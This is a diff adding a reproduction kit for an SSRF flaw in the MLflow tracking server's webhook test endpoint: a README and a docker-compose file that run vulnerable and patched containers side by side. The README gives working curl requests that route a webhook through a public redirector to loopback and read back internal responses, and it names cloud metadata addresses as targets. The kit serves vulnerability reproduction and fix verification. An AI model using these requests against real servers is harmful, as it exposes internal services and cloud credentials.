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+# CVE-2026-64849: MLflow Tracking Server Webhook SSRF via Unvalidated HTTP Redirects
+
+MLflow tracking server versions prior to `3.16.0` contain an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the webhook delivery subsystem. While MLflow performs pre-flight validation on webhook URLs during registration to block non-HTTPS schemes and private IP ranges, the HTTP client (`requests.Session`) used during webhook test execution (`POST /api/2.0/mlflow/webhooks/<webhook_id>/test`) follows HTTP redirects (such as `302 Found`) without validating the redirection target URL.
+
+An unauthenticated remote attacker can register a webhook pointing to a public redirector service (such as `httpbin.org/redirect-to`) that redirects to internal endpoints (such as `127.0.0.1:5000` or cloud metadata services like `169.254.169.254`). Because the `/test` endpoint returns the reflected HTTP response body in the JSON output (`result.response_body`), this allows an unauthenticated attacker to read internal service responses directly.
+
+Note that the original vulnerability was fixed in 3.15.0, but bypasses related to iPv6 handling were discovered and fixed in 3.16.0.
+
+## Target Environment & Preconditions
+
+* **Affected Versions:** MLflow `< 3.16.0` (fixed in MLflow `3.16.0` via PR #24258 / PR #25568).
+* **Preconditions:** Webhook backend store must be enabled (requires SQL database backend store, e.g. `--backend-store-uri sqlite:///mlflow.db`). Default tracking server authentication is disabled.
+
+---
+
+## Vulnerable Version
+
+### Setup
+
+Start the vulnerable MLflow container (v3.13.0) on port 5001:
+
+```sh
+docker compose up -d mlflow-vuln
+```
+
+### Testing the Vulnerability
+
+#### Step 1: Register Webhook with Public Redirector
+
+Create a webhook pointing to a public redirector URL that redirects to internal loopback (`127.0.0.1:5000`):
+
+```sh
+curl -i -s -X POST http://localhost:5001/api/2.0/mlflow/webhooks \
+  -H "Content-Type: application/json" \
+  -d '{
+    "name": "cve-test-wh",
+    "url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist",
+    "events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}]
+  }'
+```
+
+Response:
+
+```json
+{
+  "webhook": {
+    "webhook_id": "b9bbf008-0cdc-42d5-b538-81ea9c83f707",
+    "name": "cve-test-wh",
+    "url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist",
+    "events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}],
+    "status": "ACTIVE"
+  }
+}
+```
+
+#### Step 2: Trigger Webhook Test Execution
+
+Invoke the unauthenticated test endpoint using the extracted `webhook_id`:
+
+```sh
+curl -i -s -X POST http://localhost:5001/api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test \
+  -H "Content-Type: application/json" \
+  -d '{
+    "webhook_id": "<WEBHOOK_ID>",
+    "event": {"entity": "REGISTERED_MODEL", "action": "CREATED"}
+  }'
+```
+
+Response (MLflow follows the redirect to loopback and reflects the response in `response_body`):
+
+```json
+{
+  "result": {
+    "success": false,
+    "response_status": 404,
+    "response_body": "<!doctype html>\n<html lang=en>\n<title>404 Not Found</title>\n<h1>Not Found</h1>\n<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>\n"
+  }
+}
+```
+
+---
+
+## Safe Version
+
+### Setup
+
+Start the patched MLflow container (v3.16.0) on port 5002 to confirm remediation:
+
+```sh
+docker compose up -d mlflow-patched
+```
+
+### Testing the Vulnerability
+
+#### Step 1: Register Webhook with Public Redirector
+
+```sh
+curl -i -s -X POST http://localhost:5002/api/2.0/mlflow/webhooks \
+  -H "Content-Type: application/json" \
+  -d '{
+    "name": "cve-test-wh-patched",
+    "url": "https://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A5000%2Fapi%2F2.0%2Fmlflow%2Fexperiments%2Flist",
+    "events": [{"entity": "REGISTERED_MODEL", "action": "CREATED"}]
+  }'
+```
+
+#### Step 2: Trigger Webhook Test Execution
+
+```sh
+curl -i -s -X POST http://localhost:5002/api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test \
+  -H "Content-Type: application/json" \
+  -d '{
+    "webhook_id": "<WEBHOOK_ID>",
+    "event": {"entity": "REGISTERED_MODEL", "action": "CREATED"}
+  }'
+```
+
+Response (`SSRFProtectedHTTPAdapter` intercepts the socket connection to loopback and blocks it):
+
+```json
+{
+  "result": {
+    "success": false,
+    "error_message": "Failed to test webhook: SSRFProtectionError('Webhook connection blocked: 127.0.0.1 is not a public IP address. This may indicate a DNS rebinding attempt.')"
+  }
+}
+```
+
+---
+
+## Cleanup
+
+```sh
+docker compose down
+```
diff --git a/mlflow/CVE-2026-64849/docker-compose.yml b/mlflow/CVE-2026-64849/docker-compose.yml
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+version: '3.8'
+
+services:
+  mlflow-vuln:
+    image: ghcr.io/mlflow/mlflow:v3.13.0
+    container_name: cve-2026-64849-vuln
+    ports:
+      - "5001:5000"
+    command: ["mlflow", "server", "--host", "0.0.0.0", "--port", "5000", "--backend-store-uri", "sqlite:///mlflow.db"]
+    restart: unless-stopped
+
+  mlflow-patched:
+    image: ghcr.io/mlflow/mlflow:v3.16.0
+    container_name: cve-2026-64849-patched
+    ports:
+      - "5002:5000"
+    command: ["mlflow", "server", "--host", "0.0.0.0", "--port", "5000", "--backend-store-uri", "sqlite:///mlflow.db"]
+    restart: unless-stopped